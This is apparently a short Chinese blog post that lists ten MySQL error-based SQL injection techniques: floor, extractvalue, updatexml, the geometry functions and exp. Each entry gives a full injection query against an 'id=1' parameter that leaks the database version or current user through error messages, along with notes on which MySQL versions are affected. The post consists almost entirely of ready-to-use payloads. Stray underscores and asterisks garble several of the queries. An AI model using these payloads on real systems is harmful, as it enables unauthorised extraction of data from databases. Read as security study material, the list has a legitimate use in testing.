MySQL报错注入

MySQL常见十种报错注入


    floor()

    常用报错注入方法之一

    数据库语句:select * from test where id=1 and (select 1 from (select count(*_),concat(VERSION(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    extractvalue()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    updatexml()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    geometrycollection()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and geometrycollection((_select *_ from_(select * from(select user())a)b));

    multipoint()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipoint((_select *_ from_(select * from(select user())a)b));

    polygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and polygon((_select *_ from_(select * from(select user())a)b));

    multipolygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipolygon((_select *_ from_(select * from(select user())a)b));

    linestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and linestring((_select *_ from_(select * from(select user())a)b));

    multilinestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and multilinestring((_select *_ from_(select * from(select user())a)b));

    exp()

    版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and exp(~(_select *_ from_(select user())a));
posted @ 2021-03-16 17:00  WANGXIN_YU  阅读(536)  评论(0)    收藏  举报